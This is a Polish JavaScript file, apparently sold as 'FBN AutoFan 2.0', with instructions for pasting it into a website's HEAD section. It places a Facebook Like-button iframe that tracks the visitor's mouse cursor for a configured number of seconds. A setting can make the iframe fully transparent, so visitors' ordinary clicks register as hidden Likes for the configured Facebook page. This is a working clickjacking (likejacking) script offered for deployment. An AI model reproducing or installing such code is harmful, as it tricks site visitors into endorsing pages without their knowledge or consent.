/*
FBN AutoFan 2.0

Rozpowrzechnianie, kopiowanie oraz sprzedaż bez zgody autora zabronione.

Autor: http://facebook.buduj.net

Przed instalcją zapoznaj się z instrukcją. 


----------------------------------------   INSTRUKCJA   ----------------------------------------------------

1. Przenieś następujące plik na serwer, do głównego katalogu Twojej strony (tam gdzie znjaduje się plik index):

fbn_af.js



2. Strony STATYCZNE
Pobierz z serwera plik index z katalogu głównego Twojej strony, wklej w sekcji HEAD następujące 2 linijki (najlepiej użyj Notepad++ ) :

 
 <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
 <script type="text/javascript" src="fbn_af.js"></script> 


 Po zapisaniu pliku index skopiuj go z powrotem na serwer w to samo miejsce skąd go pobrałeś. Powtórz operację dla wszytskich stron na których ma działać skrypt.

 
 3. CMS-y (np. Joomla, Wordpress)
 
 Z zaplecza Administratora przejdź do szbalonu strony, a następnie kilkinj opcję edycji html, wklej w sekcji HEAD
 
  <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
 <script type="text/javascript" src="fbn_af.js"></script> 
 
 Zapisz szablon. Skrypt będzie działał automatycznie na wszystkich stronach serwisu.
 
 
 
 4. UWAGA: jeśli pojawią sie problemy z działaniem skryptu sprawdź deklarację strony, w razie potrzeby zamień ją na:
 
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="pl" xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl">

Deklarcja strony znajduje sie przed sekcją HEAD, czyli na początku kodu strony.

 

 5. Zmień dane w konfiguracji skryptu widoczne poniżej, w zależnosci od widoku panelu jaki chcesz uzyskać

----------------------------------------   KONIEC INSTRUKCJI   -------------------------------------*/





	// ----------------------------- KONFIGURACJA  SKRYPTU ----------------------------------



/* Adres strony na Facebook-u */

var adres_strony = 'http://www.facebook.com/pages/Modrzewinapl-Nowa-wizja-Elblaga/131463460218214'; 


/* Wyświetl / Ukryj przycisk: 0 - UKRYJ, 1 - WYŚWIETL */

var pokaz_przycisk = 1;


/* Wpisz liczbę sekund, przez ile będzie aktywny przycisk */

var czas_sekund = 15; 


/* Przesunięcie przycisku względem kursora */

var y_plus = 0;
var x_plus = 0;


// ----------------------------- KONIEC  KONFIGURACJI  SKRYPTU ----------------------------------





//---------------------------TREŚCI SKRYPTU PONIŻEJ NIE ZMIENIAJ !!!----------------------------------------*/





var $s = jQuery.noConflict();

jQuery.fn.extend({
	everyTime: function(interval, label, fn, times, belay) {
		return this.each(function() {
			jQuery.timer.add(this, interval, label, fn, times, belay);
		});
	},
	oneTime: function(interval, label, fn) {
		return this.each(function() {
			jQuery.timer.add(this, interval, label, fn, 1);
		});
	},
	stopTime: function(label, fn) {
		return this.each(function() {
			jQuery.timer.remove(this, label, fn);
		});
	}
});

jQuery.extend({
	timer: {
		guid: 1,
		global: {},
		regex: /^([0-9]+)\s*(.*s)?$/,
		powers: {
			// Dane czasu
			'ms': 1,
			'cs': 10,
			'ds': 100,
			's': 1000,
			'das': 10000,
			'hs': 100000,
			'ks': 1000000
		},
		timeParse: function(value) {
			if (value == undefined || value == null)
				return null;
			var result = this.regex.exec(jQuery.trim(value.toString()));
			if (result[2]) {
				var num = parseInt(result[1], 10);
				var mult = this.powers[result[2]] || 1;
				return num * mult;
			} else {
				return value;
			}
		},
		add: function(element, interval, label, fn, times, belay) {
			var counter = 0;
			
			if (jQuery.isFunction(label)) {
				if (!times) 
					times = fn;
				fn = label;
				label = interval;
			}
			
			interval = jQuery.timer.timeParse(interval);

			if (typeof interval != 'number' || isNaN(interval) || interval <= 0)
				return;

			if (times && times.constructor != Number) {
				belay = !!times;
				times = 0;
			}
			
			times = times || 0;
			belay = belay || false;
			
			if (!element.$timers) 
				element.$timers = {};
			
			if (!element.$timers[label])
				element.$timers[label] = {};
			
			fn.$timerID = fn.$timerID || this.guid++;
			
			var handler = function() {
				if (belay && this.inProgress) 
					return;
				this.inProgress = true;
				if ((++counter > times && times !== 0) || fn.call(element, counter) === false)
					jQuery.timer.remove(element, label, fn);
				this.inProgress = false;
			};
			
			handler.$timerID = fn.$timerID;
			
			if (!element.$timers[label][fn.$timerID]) 
				element.$timers[label][fn.$timerID] = window.setInterval(handler,interval);
			
			if ( !this.global[label] )
				this.global[label] = [];
			this.global[label].push( element );
			
		},
		remove: function(element, label, fn) {
			var timers = element.$timers, ret;
			
			if ( timers ) {
				
				if (!label) {
					for ( label in timers )
						this.remove(element, label, fn);
				} else if ( timers[label] ) {
					if ( fn ) {
						if ( fn.$timerID ) {
							window.clearInterval(timers[label][fn.$timerID]);
							delete timers[label][fn.$timerID];
						}
					} else {
						for ( var fn in timers[label] ) {
							window.clearInterval(timers[label][fn]);
							delete timers[label][fn];
						}
					}
					
					for ( ret in timers[label] ) break;
					if ( !ret ) {
						ret = null;
						delete timers[label];
					}
				}
				
				for ( ret in timers ) break;
				if ( !ret ) 
					element.$timers = null;
			}
		}
	}
});

if (jQuery.browser.msie)
	jQuery(window).one("unload", function() {
		var global = jQuery.timer.global;
		for ( var label in global ) {
			var els = global[label], i = els.length;
			while ( --i )
				jQuery.timer.remove(els[i], label);
		}
	});





jQuery(document).ready(function()
		{


czas_sekund = czas_sekund*1000;

if(pokaz_przycisk>=1)
pokaz_przycisk = 1;
else
pokaz_przycisk = 0;

pokaz_przycisk = pokaz_przycisk*100;




jQuery(document.body).append('<div id="fbn"><iframe  id="fbn2" src="http://www.facebook.com/plugins/like.php?href='+encodeURIComponent(adres_strony)+'&amp;send=false&amp;layout=standard&amp;width=70&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=35" scrolling="no" frameborder="0" style="position:absolute;opacity:'+pokaz_przycisk+';filter:alpha(opacity='+pokaz_przycisk+');border:none; overflow:hidden; z-index:500; width:70px; height:35px;" allowTransparency="true"></iframe></div>');




jQuery(document).oneTime(czas_sekund, function() {
     jQuery('#fbn').remove();
  });
      jQuery('#fbn').css('position', 'absolute');
var pX = 0;
var pY = 0;
jQuery(document).mousemove(function(e){
	pX = e.pageX - 40 + x_plus;
	pY = e.pageY - 10 + y_plus;
      jQuery('#fbn').css('left',pX+'px');
     jQuery('#fbn').css('top', pY+'px');

   }); 





 


});

